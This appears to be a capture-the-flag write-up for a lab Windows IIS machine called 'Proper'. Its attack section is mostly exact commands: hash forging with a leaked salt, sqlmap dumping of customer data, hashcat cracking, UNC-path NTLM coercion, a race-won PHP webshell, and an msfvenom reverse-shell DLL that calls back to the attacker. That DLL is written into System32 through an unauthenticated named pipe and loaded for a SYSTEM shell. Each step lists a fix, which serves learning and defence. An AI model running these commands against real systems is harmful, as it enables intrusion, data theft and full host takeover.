Proper
Summary
Recon: full-port nmap -p- --min-rate 3000 plus a targeted AD-port scan (53/88/135/139/389/445/464/593/636/3268/3269/5985/9389) showed everything but 80/tcp filtered — a Windows host reachable only through Microsoft IIS 10.0 hosting a PHP e-commerce storefront (no domain access, no SMB/LDAP directly). Grepping the homepage for JS/PHP references surfaced products-ajax.php?order=<col>&h=<hash>. Requesting it without h triggered an uncaught-exception stack trace disclosing SECURE_PARAM_SALT (hie0shah6ooNoim) and the integrity formula h = md5(salt + order), letting any order value be forged. sqlmap (--eval recomputing h per request) and manual boolean/time/error probes (SLEEP(), extractvalue()) confirmed SQL injection in the order parameter, dumping the cleaner database's customers table. Two MD5 password hashes cracked instantly via hashcat/rockyou ([REDACTED: recovered credential], password2) authenticated vikki.solomon@throwaway.mail / nstone@trashbin.mail against a second app front-end at /licenses/.
Inside /licenses/licenses.php, a theme parameter (also h-protected, forged the same way) fed file_get_contents() for theming. The http:// wrapper was disabled, but UNC paths were not — pointing theme at an impacket-smbserver share coerced the IIS box into an outbound SMB request, leaking proper\web's NetNTLMv2 hash and, more importantly, giving a controllable file read. The app additionally include()s the same file after a separate "tamper" content-check, creating a TOCTOU race window: serving an oversized benign header.inc, then swapping it for a PHP webshell (pwn.inc) mid-request via inotifywait-triggered cp, won the race and executed code as proper\web (user.txt = [REDACTED: flag]).
Privesc target: C:\Program Files\cleanup, a Go-based "cleanup" service (client.exe/server.exe) communicating over the unauthenticated named pipe \\.\pipe\cleanupPipe with CLEAN/RESTORE verbs; cleaned file paths are recorded base64-encoded under C:\ProgramData\cleanup, which is writable by BUILTIN\Users. A reverse-shell DLL (msfvenom windows/x64/shell_reverse_tcp, named WindowsCoreDeviceInfo.dll to match the UsoDllLoader hijack path) was staged in web's Downloads folder, its timestamps backdated >30 days (the CLEAN policy's age gate), then "cleaned" to obtain a base64 ProgramData record. That record was rewritten to target C:\Windows\System32\WindowsCoreDeviceInfo.dll. Static analysis of the Go binaries (strings + Ghidra analyzeHeadless, since the CLI never exposed a working RESTORE/-restore/--restore flag) identified the raw RESTORE pipe command, which performed the privileged file write as NT AUTHORITY\SYSTEM into System32. Triggering the DLL search-order hijack via usoclient StartInteractiveScan loaded the payload as SYSTEM, yielding root (root.txt = [REDACTED: flag]).
Attack path — how the box was taken
Exact commands 3
nmap -p- --min-rate 3000 -T4 -Pn $TARGETnmap -sV -Pn -p 80 $TARGETcurl -s http://$TARGET/ | grep -Eo '[a-zA-Z0-9_./-]+\.php[^"< ]*'Exact commands 2
curl -s 'http://$TARGET/products-ajax.php?order=name'python3 -c "import hashlib; salt='hie0shah6ooNoim'; order='name'; print(hashlib.md5((salt+order).encode()).hexdigest())"FixDisable verbose PHP error output in every production environmentHigh
Exact commands 2
sqlmap -u 'http://$TARGET/products-ajax.php?order=id&h=dummy' -p order --eval="import hashlib; h=hashlib.md5(('hie0shah6ooNoim'+order).encode()).hexdigest()" --batch --level=3 --risk=2 --technique=BEUT --dbms=mysql -D cleaner -T customers --dumphashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --forceFixAllowlist permitted column names in the products API to eliminate SQL injectionCritical
Exact commands 2
curl -c cookies.txt -d 'username=vikki.solomon@throwaway.mail&password=[REDACTED: credential]' http://$TARGET/licenses/python3 -c "import hashlib; theme='\\\\$INTERNAL_TARGET\\share'; print(hashlib.md5(('hie0shah6ooNoim'+theme).encode()).hexdigest())"FixReplace MD5 password hashing with bcrypt or Argon2idHigh
Exact commands 2
mkdir -p /tmp/serve && impacket-smbserver share /tmp/serve -smb2supportTHEME='\\\\$INTERNAL_TARGET\\share\\header.inc'; H=$(python3 -c "import hashlib; print(hashlib.md5(('hie0shah6ooNoim'+'$THEME').encode()).hexdigest())"); curl -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H"FixBlock UNC and remote path schemes in all file_get_contents calls that consume user inputCritical
Exact commands 5
dd if=/dev/urandom bs=1M count=1 | base64 > /tmp/serve/header.incprintf '<?php system($_GET["cmd"]); ?>' > /tmp/serve/pwn.incinotifywait -m -e open /tmp/serve/header.inc --format '%e' | while read e; do cp /tmp/serve/pwn.inc /tmp/serve/header.inc; done &THEME='\\\\$INTERNAL_TARGET\\share\\header.inc'; H=$(python3 -c "import hashlib; print(hashlib.md5(('hie0shah6ooNoim'+'$THEME').encode()).hexdigest())"); for i in $(seq 1 60); do curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H&cmd=whoami"; doneTHEME='\\\\$INTERNAL_TARGET\\share\\header.inc'; H=$(python3 -c "import hashlib; print(hashlib.md5(('hie0shah6ooNoim'+'$THEME').encode()).hexdigest())"); curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H&cmd=type+C:\\Users\\web\\Desktop\\user.txt"FixRead a user-supplied file exactly once and validate its content before passing it to include()Critical
Exact commands 7
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$INTERNAL_TARGET LPORT=4444 -f dll -o WindowsCoreDeviceInfo.dllcurl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=copy+\\\\$INTERNAL_TARGET\\share\\WindowsCoreDeviceInfo.dll+C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll'curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"(Get-Item+C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll).LastWriteTime+%3d+(Get-Date).AddDays(-35)"'curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd="C:\\Program+Files\\cleanup\\client.exe"+CLEAN+"C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll"'python3 -c "import base64; p='C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll'; print(base64.b64encode(p.encode()).decode()+'A')"curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"Rename-Item+C:\\ProgramData\\cleanup\\<old_record>+<new_b64_name>"'curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"$p+%3d+[System.IO.Pipes.NamedPipeClientStream]::new(\'.\',\'cleanupPipe\',[System.IO.Pipes.PipeDirection]::InOut);+$p.Connect();+$w+%3d+[System.IO.StreamWriter]::new($p);+$w.AutoFlush%3d%24true;+$w.WriteLine(\'RESTORE\');+Start-Sleep+2;+$p.Dispose()"'FixRun the cleanup service as a least-privilege account and restrict named-pipe access and destination pathsCritical
Exact commands 3
nc -lvnp 4444curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=usoclient+StartInteractiveScan'type C:\Users\Administrator\Desktop\root.txtFixRun the cleanup service as a least-privilege account and restrict named-pipe access and destination pathsCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Findings
Exposed services
| 80/tcp | http Microsoft IIS httpd 10.0 |